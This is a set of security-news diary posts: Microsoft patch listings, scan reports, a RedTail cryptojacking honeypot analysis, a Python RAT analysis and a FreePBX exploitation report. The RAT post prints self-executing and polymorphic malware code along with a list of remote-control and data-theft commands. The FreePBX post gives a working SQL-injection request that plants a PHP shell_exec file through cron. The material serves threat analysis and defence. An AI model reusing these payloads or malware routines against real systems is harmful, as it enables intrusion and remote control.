Office and Exchange users are directed towards cloud and subscription offerings. For Office, you still have Office 2024 available if you would rather "own" the product. For Exchange, the Exchange Server Subscription Edition is available as of July.

Windows 10 users will have the option to sign up for "Extended Security Updates" (ESU). It has been offered as a low-cost alternative to retain security updates, and in some countries, it is offered for free.

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Elevation of Privilege Vulnerability
%%cve:2025-55247%%	No	No	-	-	Important	7.3	6.4
.NET, .NET Framework, and Visual Studio Information Disclosure Vulnerability
%%cve:2025-55248%%	No	No	-	-	Important	4.8	4.2
ASP.NET Security Feature Bypass Vulnerability
%%cve:2025-55315%%	No	No	-	-	Important	9.9	8.6
Configuration Manager Elevation of Privilege Vulnerability
%%cve:2025-55320%%	No	No	-	-	Important	6.7	5.8
%%cve:2025-59213%%	No	No	-	-	Important	8.4	7.3
Copilot Spoofing Vulnerability
%%cve:2025-59272%%	No	No	-	-	Critical	6.5	5.7
%%cve:2025-59286%%	No	No	-	-	Critical	6.5	5.7
Data Sharing Service Spoofing Vulnerability
%%cve:2025-59200%%	No	No	-	-	Important	7.7	6.7
Desktop Windows Manager Elevation of Privilege Vulnerability
%%cve:2025-55681%%	No	No	-	-	Important	7.0	6.1
DirectX Graphics Kernel Denial of Service Vulnerability
%%cve:2025-55698%%	No	No	-	-	Important	7.7	6.7
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2025-55678%%	No	No	-	-	Important	7.0	6.1
Internet Information Services (IIS) Inbox COM Objects (Global Memory) Remote Code Execution Vulnerability
%%cve:2025-59282%%	No	No	-	-	Important	7.0	6.1
JDBC Driver for SQL Server Spoofing Vulnerability
%%cve:2025-59250%%	No	No	-	-	Important	8.1	7.1
M365 Copilot Spoofing Vulnerability
%%cve:2025-59252%%	No	No	-	-	Critical	6.5	5.7
MITRE CVE-2025-54957: Integer overflow in Dolby Digital Plus audio decoder
%%cve:2025-54957%%	No	No	-	-	Important	7.0	6.1
MITRE: CVE-2025-59489 Unity Gaming Engine Editor vulnerability
%%cve:2025-59489%%	No	No	-	-	Important	8.4	8.4
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2025-48004%%	No	No	-	-	Important	7.4	6.4
%%cve:2025-59189%%	No	No	-	-	Important	7.4	6.4
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-58722%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59254%%	No	No	-	-	Important	7.8	6.8
Microsoft Defender for Linux Denial of Service Vulnerability
%%cve:2025-59497%%	No	No	-	-	Important	7.0	6.1
Microsoft Excel Information Disclosure Vulnerability
%%cve:2025-59235%%	No	No	-	-	Important	7.1	6.2
%%cve:2025-59232%%	No	No	-	-	Important	7.1	6.2
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2025-59231%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59233%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59236%%	No	No	-	-	Critical	8.4	7.3
%%cve:2025-59243%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59223%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59224%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59225%%	No	No	-	-	Important	7.8	6.8
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2025-53782%%	No	No	-	-	Important	8.4	7.3
%%cve:2025-59249%%	No	No	-	-	Important	8.8	7.7
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2025-59248%%	No	No	-	-	Important	7.5	6.5
Microsoft Failover Cluster Information Disclosure Vulnerability
%%cve:2025-47979%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-59188%%	No	No	-	-	Important	5.5	4.8
Microsoft Failover Cluster Virtual Driver Information Disclosure Vulnerability
%%cve:2025-59260%%	No	No	-	-	Important	5.5	4.8
Microsoft Graphics Component Denial of Service Vulnerability
%%cve:2025-59195%%	No	No	-	-	Important	7.0	6.1
Microsoft Graphics Component Elevation of Privilege Vulnerability
%%cve:2025-49708%%	No	No	-	-	Critical	9.9	8.6
Microsoft Office Denial of Service Vulnerability
%%cve:2025-59229%%	No	No	-	-	Important	5.5	4.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2025-59234%%	No	No	-	-	Critical	7.8	6.8
%%cve:2025-59227%%	No	No	-	-	Critical	7.8	6.8
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2025-59226%%	No	No	-	-	Important	7.8	6.8
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2025-59238%%	No	No	-	-	Important	7.8	6.8
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2025-59228%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-59237%%	No	No	-	-	Important	8.8	7.7
Microsoft Windows File Explorer Spoofing Vulnerability
%%cve:2025-58739%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-59214%%	No	No	-	-	Important	6.5	5.7
Microsoft Word Remote Code Execution Vulnerability
%%cve:2025-59221%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-59222%%	No	No	-	-	Important	7.8	6.8
NTLM Hash Disclosure Spoofing Vulnerability
%%cve:2025-59185%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-59244%%	No	No	-	-	Important	6.5	5.7
Network Connection Status Indicator (NCSI) Elevation of Privilege Vulnerability
%%cve:2025-59201%%	No	No	-	-	Important	7.8	6.8
NtQueryInformation Token function (ntifs.h) Elevation of Privilege Vulnerability
%%cve:2025-55696%%	No	No	-	-	Important	7.8	6.8
Playwright Spoofing Vulnerability
%%cve:2025-59288%%	No	No	-	-	Moderate	5.3	4.9
PowerShell Elevation of Privilege Vulnerability
%%cve:2025-25004%%	No	No	-	-	Important	7.3	6.4
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2025-58718%%	No	No	-	-	Important	8.8	7.7
Remote Desktop Protocol Remote Code Execution Vulnerability
%%cve:2025-58737%%	No	No	-	-	Important	7.0	6.1
Remote Procedure Call Denial of Service Vulnerability
%%cve:2025-59502%%	No	No	-	-	Moderate	7.5	6.5
Software Protection Platform (SPP) Elevation of Privilege Vulnerability
%%cve:2025-59199%%	No	No	-	-	Important	7.8	6.8
Storage Spaces Direct Information Disclosure Vulnerability
%%cve:2025-59184%%	No	No	-	-	Important	5.5	4.8
Storport.sys Driver Elevation of Privilege Vulnerability
%%cve:2025-59192%%	No	No	-	-	Important	7.8	6.8
Virtual Secure Mode Spoofing Vulnerability
%%cve:2025-48813%%	No	No	-	-	Important	6.3	5.5
Visual Studio Elevation of Privilege Vulnerability
%%cve:2025-55240%%	No	No	-	-	Important	7.3	6.4
Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability
%%cve:2025-59258%%	No	No	-	-	Important	6.2	5.4
Windows Agere Modem Driver Elevation of Privilege Vulnerability
%%cve:2025-24990%%	No	Yes	-	-	Important	7.8	7.2
%%cve:2025-24052%%	Yes	No	-	-	Important	7.8	7.0
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2025-59242%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-58714%%	No	No	-	-	Important	7.8	6.8
Windows Authentication Elevation of Privilege Vulnerability
%%cve:2025-55701%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59277%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59275%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59278%%	No	No	-	-	Important	7.8	6.8
Windows BitLocker Security Feature Bypass Vulnerability
%%cve:2025-55333%%	No	No	-	-	Important	6.1	5.3
%%cve:2025-55338%%	No	No	-	-	Important	6.1	5.3
%%cve:2025-55330%%	No	No	-	-	Important	6.1	5.3
%%cve:2025-55332%%	No	No	-	-	Important	6.1	5.3
%%cve:2025-55337%%	No	No	-	-	Important	6.1	5.3
%%cve:2025-55682%%	No	No	-	-	Important	6.1	5.3
Windows Bluetooth Service Elevation of Privilege Vulnerability
%%cve:2025-58728%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59290%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59289%%	No	No	-	-	Important	7.0	6.1
Windows COM+ Event System Service Elevation of Privilege Vulnerability
%%cve:2025-58725%%	No	No	-	-	Important	7.0	6.1
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2025-55680%%	No	No	-	-	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2025-55336%%	No	No	-	-	Important	5.5	4.8
Windows Connected Devices Platform Service (Cdpsvc) Remote Code Execution Vulnerability
%%cve:2025-55326%%	No	No	-	-	Important	7.5	6.5
Windows Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2025-58719%%	No	No	-	-	Important	4.7	4.1
%%cve:2025-58727%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-59191%%	No	No	-	-	Important	7.8	6.8
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2025-58720%%	No	No	-	-	Important	7.8	6.8
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-59255%%	No	No	-	-	Important	7.8	6.8
Windows Device Association Broker Service Elevation of Privilege Vulnerability
%%cve:2025-50174%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55677%%	No	No	-	-	Important	7.8	6.8
Windows Digital Media Elevation of Privilege Vulnerability
%%cve:2025-53150%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-50175%%	No	No	-	-	Important	7.8	6.8
Windows ETL Channel Information Disclosure Vulnerability
%%cve:2025-59197%%	No	No	-	-	Important	5.5	4.8
Windows Error Reporting Service Elevation of Privilege Vulnerability
%%cve:2025-55692%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-55694%%	No	No	-	-	Important	7.8	6.8
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2025-59205%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-59261%%	No	No	-	-	Important	7.0	6.1
Windows Health and Optimized Experiences Elevation of Privilege Vulnerability
%%cve:2025-59241%%	No	No	-	-	Important	7.8	6.8
Windows Hello Security Feature Bypass Vulnerability
%%cve:2025-53139%%	No	No	-	-	Important	7.7	6.7
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2025-55328%%	No	No	-	-	Important	7.8	6.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2025-59207%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-50152%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-55693%%	No	No	-	-	Important	7.4	6.4
%%cve:2025-59187%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-59194%%	No	No	-	-	Important	7.0	6.1
Windows Kernel Information Disclosure Vulnerability
%%cve:2025-59186%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-55679%%	No	No	-	-	Important	5.1	4.5
%%cve:2025-55683%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-55699%%	No	No	-	-	Important	5.5	4.8
Windows Kernel Security Feature Bypass Vulnerability
%%cve:2025-55334%%	No	No	-	-	Important	6.2	5.4
Windows Local Session Manager (LSM) Denial of Service Vulnerability
%%cve:2025-59257%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-59259%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-58729%%	No	No	-	-	Important	6.5	5.7
Windows Management Services Elevation of Privilege Vulnerability
%%cve:2025-59193%%	No	No	-	-	Important	7.0	6.1
Windows Management Services Information Disclosure Vulnerability
%%cve:2025-59204%%	No	No	-	-	Important	5.5	4.8
Windows MapUrlToZone Information Disclosure Vulnerability
%%cve:2025-59208%%	No	No	-	-	Important	7.1	6.2
Windows NTFS Elevation of Privilege Vulnerability
%%cve:2025-55335%%	No	No	-	-	Important	7.4	6.4
Windows NTLM Spoofing Vulnerability
%%cve:2025-59284%%	No	No	-	-	Important	3.3	2.9
Windows Network Driver Interface Specification Driver Elevation of Privilege Vulnerability
%%cve:2025-55339%%	No	No	-	-	Important	7.8	6.8
Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability
%%cve:2025-55685%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55686%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55689%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55331%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55684%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55688%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55690%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-55691%%	No	No	-	-	Important	7.0	6.1
Windows Push Notification Information Disclosure Vulnerability
%%cve:2025-59211%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-59209%%	No	No	-	-	Important	5.5	4.8
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2025-59230%%	No	Yes	-	-	Important	7.8	7.2
Windows Remote Desktop Protocol Security Feature Bypass
%%cve:2025-55340%%	No	No	-	-	Important	7.0	6.1
Windows Remote Desktop Services Elevation of Privilege Vulnerability
%%cve:2025-59202%%	No	No	-	-	Important	7.0	6.1
Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability
%%cve:2025-59206%%	No	No	-	-	Important	7.4	6.4
%%cve:2025-59210%%	No	No	-	-	Important	7.4	6.4
Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability
%%cve:2025-55687%%	No	No	-	-	Important	7.4	6.4
Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability
%%cve:2025-55700%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-58717%%	No	No	-	-	Important	6.5	5.7
Windows SMB Client Tampering Vulnerability
%%cve:2025-59280%%	No	No	-	-	Important	3.1	2.7
Windows SMB Server Elevation of Privilege Vulnerability
%%cve:2025-58726%%	No	No	-	-	Important	7.5	6.5
Windows Search Service Denial of Service Vulnerability
%%cve:2025-59190%%	No	No	-	-	Important	5.5	4.8
%%cve:2025-59198%%	No	No	-	-	Important	5.0	4.4
%%cve:2025-59253%%	No	No	-	-	Important	5.5	4.8
Windows Server Update Service (WSUS) Remote Code Execution Vulnerability
%%cve:2025-59287%%	No	No	-	-	Critical	9.8	8.5
Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability
%%cve:2025-59196%%	No	No	-	-	Important	7.0	6.1
Windows Speech Runtime Elevation of Privilege Vulnerability
%%cve:2025-58715%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-58716%%	No	No	-	-	Important	8.8	7.7
Windows State Repository API Server File Information Disclosure Vulnerability
%%cve:2025-59203%%	No	No	-	-	Important	5.5	4.8
Windows Storage Management Provider Information Disclosure Vulnerability
%%cve:2025-55325%%	No	No	-	-	Important	5.5	4.8
Windows Taskbar Live Preview Information Disclosure Vulnerability
%%cve:2025-59294%%	No	No	-	-	Important	2.1	1.9
Windows URL Parsing Remote Code Execution Vulnerability
%%cve:2025-59295%%	No	No	-	-	Important	8.8	7.7
Windows USB Video Class System Driver Information Disclosure Vulnerability
%%cve:2025-55676%%	No	No	-	-	Important	5.5	4.8
Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability
%%cve:2025-53717%%	No	No	-	-	Important	7.0	6.1
Windows WLAN AutoConfig Service Information Disclosure Vulnerability
%%cve:2025-55695%%	No	No	-	-	Important	5.5	4.8
Xbox Gaming Services Elevation of Privilege Vulnerability
%%cve:2025-59281%%	No	No	-	-	Important	7.8	6.8
Xbox IStorageService Elevation of Privilege Vulnerability
%%cve:2025-53768%%	No	No	-	-	Important	7.8	6.8

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In January, a possible XSS vulnerability was found in the electronic document security management system ESAFENET CDG. This was the latest (as far as I can tell) in a long list of vulnerabilities in the product. Prior vulnerabilities included SQL injection issues and weaknesses in the encryption used to safeguard documents. In other words: A typical "secure" document management system. The product appears to be targeting the Chinese market, and with a website all in Chinese, I doubt it is used much, if at all, outside China.

The scans we are seeing are directed at "/CDGServer3/SystemConfig". The one vulnerability I was able to find was CVE-2025-0785, which mentions a possible XSS vulnerability in SystemConfig.jsp. Sadly, not all of our sensors report POST data (working on fixing that), so I am not sure if this is the issue they are trying to exploit. The GitHub repo with details about the vulnerability is no longer available, and the NVD entries are not really complete and do not link to any pages within the manufacturer's website with possible patches.

A quick scan of the manufacturer's website did not reveal any obvious patches or references to this bug.

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-0785
[2] https://www.esafenet.com

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Wireshark release 4.4.10 fixes 6 bugs and 1 vulnerability (in the MONGO dissector).

A new branch with many new features is released too: 4.6.0

Didier Stevens
Senior handler
blog.DidierStevens.com

[This is a Guest Diary by Jin Quan Low, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

Ransomware [2] is often the first word that comes to mind when we think about cybercriminals chasing financial gain. It barges in, locks files, drops ransom notes, and causes immediate disruption.

Cryptojacking [3], on the other hand, acts like a quiet trespasser. It slips in unnoticed, makes itself at home, and hijacks computing resources in the background to mine cryptocurrency while the victim stays unaware. Because it rarely causes disruptions, cryptojacking does not get the same level of attention as ransomware. 

Over the past three months, my DShield honeypot captured repeated attempts to deploy RedTail, a cryptojacking malware first observed in early 2024 [4]. RedTail targets Monero cryptocurrency [5], typically gaining access through brute-forced SSH logins or exploiting vulnerabilities and deploying scripts to establish persistence and launch mining processes. The activity observed showed that compromises can extend beyond simple cryptomining, making RedTail a relevant case study for defenders.

Mapping Attacks to MITRE ATT&CK Tactics, Techniques and Procedures (TTPs)

Malware IOCs are very useful for quick detection, but they can be easily invalidated. Attackers only need to change part of their code, and those indicators lose all value. RedTail malware is no exception. Researchers had already detected different hashes of the same malware [6]. 

TTPs on the other hand rarely change and can be leveraged to detect similar threat behaviours. Hence, the observed attack involving RedTail malware will be mapped to the MITRE ATT&CK framework and how we can better defend ourselves. 

ATT&CK framework can be categorized into PRE-ATT&CK and ATT&CK (Refer to Figure 1).

Figure 1: PRE-ATT&CK & ATT&CK (MITRE ATT&CK framework)

 

The following attack sequence observed from my honeypot is mapped to this framework as an example.

PRE-ATT&CK

The early phases — reconnaissance and weaponization — may not always appear in logs, but later activity on the honeypot shows the existence of those phases (refer to Figure 2).

• Reconnaissance: Attackers scan IP ranges to look for exposed services (T1595.001: Active Scanning – Scanning IP Block).
• Weaponization: They develop or package their malware payloads (T1587.001: Develop Capabilities – Malware) and stage them for delivery (T1608.001: Stage Capabilities – Upload Malware).

Figure 2: PRE-ATT&CK phase showing reconnaissance and weaponization techniques observed

 

ATT&CK

ATT&CK phase entails the Deliver, Exploit, Control, Execute and Maintain stages.

The Deliver phase (refer to Figure 3) is mapped to the following stages:

• Initial Access: In my honeypot, attackers attempted brute-force SSH logins and eventually succeeded using valid credentials (T1078.002: Valid Accounts – Local Account).
• Execution: Once inside, attackers ran clean.sh and setup.sh to prepare the environment (T1059.004: Command and Scripting Interpreter – Unix Shell).
• Persistence: Attackers implanted their own SSH keys to maintain access (T1098.004: Account Manipulation – SSH Authorized Keys). This allowed them to return at will, bypassing password controls.

Figure 3: Deliver phase highlighting brute-forced SSH access, script execution, and persistence methods)

 

The Exploit to Execute phase (refer to Figure 4) is mapped to the following stages:

• Defense Evasion: Attackers deleted files to cover their tracks (T1070.004: Indicator Removal – File Deletion). 
• Discovery: Attackers queried system information to confirm compatibility before deploying RedTail (T1082: System Information Discovery).

Figure 4: Exploit and Execute phase showing file deletion and system discovery activity

 

The Execute and Maintain phase (refer to Figure 5) is mapped to the following stages:

• Command and Control: Outbound HTTPS traffic (Port 443) from infected systems to malicious mining pool servers [6]. This matches ATT&CK’s T1071.001: Application Layer Protocol – Web Protocols.
• Impact: RedTail malware is known to hijack CPU cycles to mine cryptocurrency (T1496.001: Resource Hijacking – Compute Hijacking). While subtle, this creates financial and performance costs for victims.

Figure 5: Execute and Maintain stage including outbound pool traffic and cryptojacking impact

 

Unique Observations from Honeypot

While RedTail has been reported in multiple incidents, my honeypot logs revealed several noteworthy behaviors beyond generic cryptojacking activity:

• Brute-forced SSH access: Attackers brute-forced SSH logins before deploying RedTail, showing that weak credentials remain an active entry vector.
• Script-based setup: After gaining access, they uploaded and executed setup.sh to configure the miner. They also ran clean.sh to remove competing cryptomining processes, ensuring RedTail had exclusive use of system resources.
• Persistence through SSH keys: Attackers implanted their own SSH keys into ~/.ssh/authorized_keys, allowing them to return without repeating brute-force attempts.
• Defense evasion: Logs recorded file deletion commands, which indicated that attackers tried to cover their tracks after installation.

These observations show that RedTail campaigns extend beyond simple cryptomining. Attackers maintain persistence, remove competition, and conceal their activity — behaviors that defenders should use when building detection and response strategies.

Mitigation

Defending against RedTail and similar cryptojacking malware requires a two-stage approach: prevention and detection/response.

1. Prevention (First Line of Defense)
   • Hardening Access
     • Use SSH key authentication and disable password logins.
     • Rate-limit SSH login attempts; enforce lockouts on repeated failures (fail2ban).
     • Disable root logins (PermitRootLogin no) and unnecessary services.
   • Patching and Updates
     • Apply security updates.
   • Network Controls
     • Restrict unnecessary inbound access.
     • Segment honeypots and exposed systems from production assets.
     • Block or sinkhole known mining pool connections.
        
2. Detection & Response (Catching What Slips Through)
   • Visibility
     • Enable detailed SSH, process, and outbound network logging.
     • Monitor CPU, memory, and disk I/O for abnormal sustained spikes.
   • TTP-Based Detection
     • Watch for brute-force attempts and repeated failed logins.
     • Flag unauthorized entries in ~/.ssh/authorized_keys.
     • Detect creation of unusual systemd services.
     • Monitor encrypted outbound traffic to unknown/private pools.
   • Response Actions
     • Isolate compromised hosts immediately.
     • Remove attacker SSH keys and terminate mining processes.
     • Rebuild compromised systems from clean images.
   • Continuous Monitoring
     • Track for reinfection attempts.
     • Use honeypots (like DShield) to capture new TTPs and feed them into defenses.

Conclusion

The only way to detect threats is to look for them, and detection has little value without response. Protecting devices and networks remains challenging but achievable with layered defenses. As the world grows more connected and attackers getting craftier, defenders must improve too.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/
[3] https://www.malwarebytes.com/cryptojacking
[4] https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit
[5] https://www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability/
[6] https://isc.sans.edu/diary/30950
[7] https://www.virustotal.com/gui/file/89782d8142297907c9962eebdae29c28df86805a99f38a683ab55c8fa1596dd8/behavior

 

--
Jesse La Grew
Handler

Today, I spoted on VirusTotal an interesting Python RAT. They are tons of them but this one attracted my attention based on some function names present in the code: self_modifying_wrapper(), decrypt_and_execute() and polymorph_code(). A polymorphic malware is a type of malware that has been developed to repeatedly mutate its appearance or signature files at every execution time. The file got a very low score of 2/64 on VT! (SHA256:7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c).

To be able to modify its code on the fly, the program must have access to its own source code. Many languages have this capability. I covered the same technque in JavaScript a long time ago[1]. With Python, there is a very interesting module that can add the same capability: inspect[2].

Here is a simple snippet of code to demonstrate how it works:

remnux@remnux:~$ cat poc.py
import inspect

def dummy_function():
    print("I'm a dummy function!")

def main():
    print("Function code:")
    print(inspect.getsource(dummy_function))

if __name__ == "__main__":
    main()

remnux@remnux:~$ python3 poc.py
Function code:
def dummy_function():
    print("I'm a dummy function!")

Once you get the source code, you can perform plenty of actions like anti-tampering detection (was the code modified - to debug it) or obfuscate it.

In the discovered sample, the self_modifying_wrapper() function will grab a function code, XOR it with a random key then un-XOR it and execute it from memory:

# Self-modifying code wrapper (simulates packing)
def self_modifying_wrapper():
    """Wrap critical code in a self-modifying layer."""
    log_path = resource_path('debug.log')
    try:
        # Simulate packed code by XORing critical sections
        critical_code = inspect.getsource(main).encode()
        xor_key = random.randint(1, 255)
        packed_code = bytes(b ^ xor_key for b in critical_code)
        # Unpack at runtime
        unpacked_code = bytes(b ^ xor_key for b in packed_code)
        code_obj = marshal.loads(zlib.decompress(unpacked_code))
        exec(code_obj)
        with open(log_path, "a") as f:
            f.write("[+] Self-modifying code executed\n")
        return True
    except Exception as e:
        with open(log_path, "a") as f:
            f.write(f"[-] Self-modifying code failed: {e}\n")
        return False

The malware has also the capability to inject junk code:

def polymorph_code(code):
    """Obfuscate code with advanced randomization and junk code."""
    log_path = resource_path('debug.log')
    try:
        # Advanced variable renaming
        var_map = {var: ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 12))) for var in code.split() if var.isidentifier()}
        for old_var, new_var in var_map.items():
            code = code.replace(old_var, new_var)
        # Insert complex junk code
        junk_snippets = [
            "def _unused_{}(): return None\n".format(''.join(random.choice(string.ascii_letters) for _ in range(8))),
            "x = [0] * {}; x = [y for y in x]\n".format(random.randint(10, 100)),
            "import time; time.sleep({})\n".format(random.uniform(0.01, 0.1)),
            "try: pass\nexcept: pass\n"
        ]
        lines = code.split('\n')
        for _ in range(random.randint(10, 20)):
            lines.insert(random.randint(0, len(lines)), random.choice(junk_snippets))
        code = '\n'.join(lines)
        # Shuffle function order
        code = code.replace('\r\n', '\n')  # Normalize line endings
        functions = re.findall(r'(def .+?\n\s*return .+?\n)', code, re.DOTALL)
        if functions:
            random.shuffle(functions)
            code = code.replace(''.join(functions), ''.join(functions))
        with open(log_path, "a") as f:
            f.write("[+] Advanced polymorphic transformation applied\n")
        return code
    except Exception as e:
        with open(log_path, "a") as f:
            f.write(f"[-] Polymorphic transformation failed: {e}\n")
        return code
        
It's easy to get a nice overview of the RAT capabilities:

Besides this specificity, the malware is a classic one and offers plenty of features to the Attacker. Here is a list of interesting functions that give a good overview of the capabilities:

remnux@remnux:~$ grep "async def" 7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c
async def socket_network_scan():
async def scan_host(ip):
async def try_router_hack(ip):
async def test_default_credentials(ip, service, port):
async def deliver_payload(ip, share=None, service=None, port=None):
async def execute_payload(ip, target_path, service):
async def get_phone_number(stolen_data):
async def send_stolen_data(stolen_data, channel, logins_path):
async def spread_to_network():
async def report_spreading_status(ip, message):
async def xworm(ctx, spread_url="https://example.com/serial_spoofer.exe"):
async def record_screen_webcam(voice_channel, ctx):
async def on_ready():
async def commands(ctx):
async def encrypt(ctx):
async def mine(ctx):
async def screenshot(ctx):
async def audio(ctx):
async def listen(ctx):
async def execute(ctx, *, command):
async def upload(ctx):
async def download(ctx, *, filename):
async def xworm(ctx):
async def archive(ctx):
async def system_info(ctx):
async def run(ctx, *, program):

In the same way, here is the list of bot commands:

# Bot command: Show available commands
@bot.command()
async def commands(ctx):
    log_path = resource_path('debug.log')
    with open(log_path, "a") as f:
        f.write("[+] Sending command list\n")
    commands_list = """
    /commands - Show this help message
    /encrypt - Encrypt victim's files
    /mine - Start cryptominer (simulated)
    /screenshot - Capture screenshot
    /audio - Capture audio
    /listen - Record screen for 30 seconds, stream high-quality live audio to voice channel
    /execute <command> - Run shell command
    /upload - Upload attached file to victim's PC
    /download <filename> - Search and send file from victim's PC
    /xworm - Deploy Xworm payload
    /archive - Archive critical files
    /keylog_start - Start keylogger
    /keylog_stop - Stop keylogger and send log
    /system_info - Get system information
    /run <program> - Run a program
    """
    await ctx.send(commands_list)

The file was uploaded on VT as "nirorat.py". I did not find any reference to this RAT. If you have more details, let us know!

[1] https://isc.sans.edu/diary/AntiDebugging+JavaScript+Techniques/26228
[2] https://docs.python.org/3/library/inspect.html
 

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

FreePBX is a popular PBX system built around the open source VoIP system Asterisk. To manage Asterisk more easily, it provides a capable web-based admin interface. Sadly, like so many web applications, it has had its share of vulnerabilities in the past. Most recently, a SQL injection vulnerability was found that allows attackers to modify the database.

For a PBX, there are a number of obvious attacks. For example, they are often abused for free phone calls, to impersonate the companies running the PBX, or to hide the true origin of phone calls. Manipulating the FreePBX database would certainly facilitate these types of attacks. However, I noticed some slightly more interesting attacks recently attempting to achieve complete code execution.

A typical request looks like:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x' ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d >/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

The "brand" parameter is used for the SQL injection, and the parameter decodes to:

 ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d >/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

FreePBX uses the "cron_jobs" database to assist in the management of cron jobs. Inserting a line into the table results in simple, arbitrary code execution. The command injected creates a file /var/www/html/rspgf.php, with the following content:

<?php header('x_poc: CVE-2025-57819'); echo shell_exec('uname -a'); unlink(__FILE__); ?>

So, a simple test to see if the system is vulnerable. Interestingly, the file deletes itself after being accessed by the attacker. The cron job should persist and re-create the file every minute, which makes the "unlink" kind of pointless. I do not see any hits in our honeypot for this file. Reviewing the cron_jobs table should be another good way to find similar exploits.

Please make sure your FreePBX instance is up to date. The vulnerability was initially made public on August 28th [1], and was already exploited at the time.

